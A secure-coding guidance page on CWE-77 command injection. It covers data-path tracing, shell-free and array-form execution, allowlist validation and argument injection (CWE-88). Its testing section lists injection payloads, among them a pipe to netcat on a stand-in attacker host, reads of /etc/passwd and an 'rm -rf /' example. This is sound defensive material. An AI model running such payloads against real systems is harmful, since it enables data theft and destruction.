Skip to content

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Overview

CWE-77 is the general command-injection weakness: an application builds a command from untrusted input and hands it to a component that parses that command, without neutralizing the elements that end one command and begin the next. The attacker's input stops being data and becomes syntax.

The interpreter does not have to be an OS shell. MITRE's scope is any custom command language, and its own extended description makes the point directly: "While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks." Its children include expression-language injection and LLM prompt injection alongside the OS shell.

In practice most findings reported as CWE-77 are OS shell injection, which is why the examples on this page are shell examples. MITRE's own mapping guidance says CWE-77 "is often misused when OS command injection (CWE-78) was intended instead". If the sink is a shell, CWE-78 is the more precise mapping and the remediation is identical to the one below. Use this page when a tool reported CWE-77 without naming the sink, or when the command language is something other than the OS shell. In that case the shape of the fix transfers but the concrete APIs do not, and the child page for that sink is where to go.

Relationship to Other CWEs

OWASP Classification

A05:2025 - Injection

Risk

Critical: The impact depends on what parses the command. Against an OS shell - the common case, and the one the rest of this page is written for - the attacker runs commands of their choosing with the application's privileges: reading whatever the process can read (cat /etc/passwd, type C:\secrets.txt), deleting files, dropping databases, corrupting backups, installing a backdoor or a cryptocurrency miner, and using the server as a foothold against internal hosts it can reach.

How much further that goes depends on those privileges: a process running as root or Administrator hands over the whole machine, and a less privileged one still gives the attacker a shell from which to attempt escalation through SUID binaries or kernel vulnerabilities. The restricted-execution step below bounds the damage; it does not close the injection.

Remediation Steps

Core Principle: Never allow untrusted input to influence shell command structure; avoid shell execution entirely and use parameterized process APIs where input stays a single argument.

Trace the Data Path

Trace how untrusted data reaches command execution:

  • Source: Where untrusted data enters: user input, external files, databases, network requests
  • Command Construction: String concatenation that builds the command
  • Sink: The execution call (system(), exec(), Runtime.exec(), Process.Start())
  • Shell Invocation: Whether a shell is involved: string form rather than array form, shell=True flags
  • Missing Validation: What checks, if any, sit between source and sink
  • Shell metacharacters to look for: command separators (;, &&, ||, |, \n), command substitution (`cmd`, $(cmd)), redirection (>, <, >>), wildcards (*, ?, []), variable expansion ($VAR, ${VAR}), and background execution (&)

Eliminate System Commands (Primary Defense)

Replace shell commands with native language APIs or libraries:

  • Use the language's file I/O APIs instead of rm, del, cat, type
  • Use a native HTTP client, socket library, or ping API instead of curl, wget, ping
  • Use an image or document processing library instead of a command-line converter
  • Use an archive library instead of tar, zip, gzip
  • Use the language's own parsers instead of shell utilities such as grep, sed, awk

Why this works: With no shell in the path there is nothing to interpret metacharacters, and a file, HTTP or archive library takes its arguments as data. The native call is also usually faster and behaves the same across platforms.

The language pages have worked examples of each replacement.

Use Parameterized/Array-Based Execution

When a system command is unavoidable, keep untrusted input inside a single argument:

  • Use array/list form, ["command", "arg1", "arg2"], with each argument as its own element and nothing concatenated
  • Disable the shell: shell=False, UseShellExecute=false and equivalents
  • Do not wrap the command in a shell: no cmd.exe /c, /bin/sh -c, bash -c
// VULNERABLE - pseudo-code, string concatenation
execute("ping " + userInput)  // userInput could be "8.8.8.8; rm -rf /"

// SECURE - pseudo-code, array form
// Prevents command injection (CWE-77), but still requires validation to prevent argument injection (CWE-88)
execute(["ping", userInput])  // userInput treated as single argument, no injection

The exact API differs by language; see the language pages.

Add Strict Input Validation (Defense in Depth)

Even with safe APIs, validate all untrusted data:

  1. Define the expected format as a regex pattern
  2. Reject input that does not match exactly
  3. Do not try to "sanitize" or "escape"; allowlist validation only
  4. Keep the patterns restrictive

Common validation patterns:

  • Hostname: Only alphanumeric, dots, hyphens, and not starting with a hyphen. The character class is [a-zA-Z0-9] followed by [a-zA-Z0-9.-]*. Anchor it as the second note below describes; ^...$ is not a whole-string anchor in every language
  • IPv4 address: Four octets 0-255 separated by dots
  • Filename: Only alphanumeric, underscore, dot, hyphen - no path separators, and not starting with a hyphen
  • Numbers: Only digits (^[0-9]+$)

Two things about those patterns decide whether they work:

  • Reject a leading hyphen explicitly. A hostname character class that includes - also admits -debug, and an argument beginning with a hyphen is read as an option by the program you invoke, not as the value you meant. Array-form execution does not help - it delivers the element faithfully, hyphen and all. This is CWE-88, and it is the half of the problem that survives the shell fix.
  • $ is not an end-of-string anchor in every language. Python's re, .NET's Regex and PCRE all match $ immediately before a final newline, so ^[a-zA-Z0-9.-]+$ accepts evil.com\n in Python, C# and PHP - measured on Python 3.13, .NET 10 and PHP 8.5 - while Java's matches() rejects it. Use the language's whole-string call where it has one (re.fullmatch(), matcher().matches()) and \A...\z where it does not. See the language pages for the per-language spelling; it differs, and the obvious cross-language answer is wrong for Python before 3.14, where \z is not a valid escape at all.

Validation is defense in depth: use it alongside safe APIs, never instead of them.

Use Restricted Execution Environments

Limit the damage if command injection does occur:

  • Run the application with least privilege, not as root or Administrator
  • Isolate the process with containers (Docker, Kubernetes)
  • Apply SELinux or AppArmor policies for mandatory access control
  • Restrict filesystem access with chroot jails or sandboxing
  • Disable unnecessary shell features and limit the commands available
  • Limit network access from application servers

Test with Command Injection Payloads

Verify your fixes with attack patterns, including:

Command chaining:

  • 8.8.8.8; cat /etc/passwd
  • 8.8.8.8 && whoami
  • 8.8.8.8 || ls -la
  • 8.8.8.8 | nc attacker.com 1234

Command substitution:

  • `whoami`
  • $(cat /etc/passwd)

Filter evasion (against a denylist, not against the shell):

  • ${IFS}cat${IFS}/etc/passwd - ${IFS} expands to a space, so this is a payload with no literal whitespace in it. It defeats a filter that looks for spaces; it is not command substitution, and it needs a separator such as ; or | in front of it to start a new command at all.

Argument injection, which array-form execution does not close:

  • One array element beginning with -: --checkpoint-action=exec=sh to tar, -oProxyCommand=... to ssh, -o /etc/cron.d/x to curl, -exec to find
  • Any value beginning with - where the invoked program has an option that runs something or writes a file
  • Do not assume a space in the payload defuses it. -c 100000 passed as one array element arrives as the single argument -c 100000, and GNU getopt reads the remainder of that same argument as the option's value - measured with ls given the single argument -w 40, which exited 0 and honoured the width. Tokenization (a shell, or Runtime.exec(String) in Java) buys the attacker several options rather than making the first one work.

Test with the bytes that reach the sink, not the bytes on the wire. A payload such as test%3Bwhoami is not a separate case: the web framework percent-decodes the query string before your handler sees it, so what arrives at the command is test;whoami, which is the command-chaining case already listed above. Sent through to a shell undecoded, %3B is five literal characters and nothing happens - and a C-style escape such as test\x3bwhoami is inert either way, because sh does not interpret \x in a command word (measured: it reaches the program as testx3bwhoami). Percent-encoding is worth testing only where the application decodes a second time after validating.

Every payload should be rejected or reach the program as a literal argument, and legitimate input should still work - a control that refuses every input passes every test above.

Common Pitfalls

  • Array-form execution with a concatenated argument: Switching from a shell string to an array/list of arguments closes the shell-injection hole, but if one array element is still built by concatenating untrusted data onto a fixed flag prefix (for example ["convert", "--output=" + userInput]), the target program's own argument parser can still be tricked into treating the value as a different flag. This is argument injection (CWE-88), a distinct weakness that array-form execution alone does not close.
  • Blocklisting shell metacharacters: Stripping or rejecting a known set of characters such as ;, &, | misses less obvious injection vectors - newlines, backticks, $(), ${IFS}, or encoded variants - and breaks as soon as the shell or platform adds a metacharacter the list didn't anticipate. Allowlist the expected input format instead of denylisting dangerous characters.
  • Hand-rolled escaping before shell invocation: Writing a custom function to "escape" special characters before concatenating input into a command string is fragile - shell quoting rules differ between POSIX shells and Windows cmd.exe, and a single missed edge case (nested quotes, null bytes, locale-dependent encoding) reopens the vulnerability. Use array/parameterized execution with the shell disabled instead of building and escaping a command string.
  • Validating format but still invoking a shell: Adding a regex check on the input (for example "looks like a hostname") without also disabling shell invocation leaves the finding open if the regex has a gap or a downstream wrapper script re-invokes a shell internally. Validation is defense-in-depth, not a substitute for shell-free execution.

Language-Specific Guidance

  • C# - Process.Start with argument validation
  • Java - ProcessBuilder, Runtime.exec with argument arrays
  • PHP - escapeshellarg, proc_open with secure patterns
  • Python - subprocess with argument lists, avoiding shell=True

Additional Resources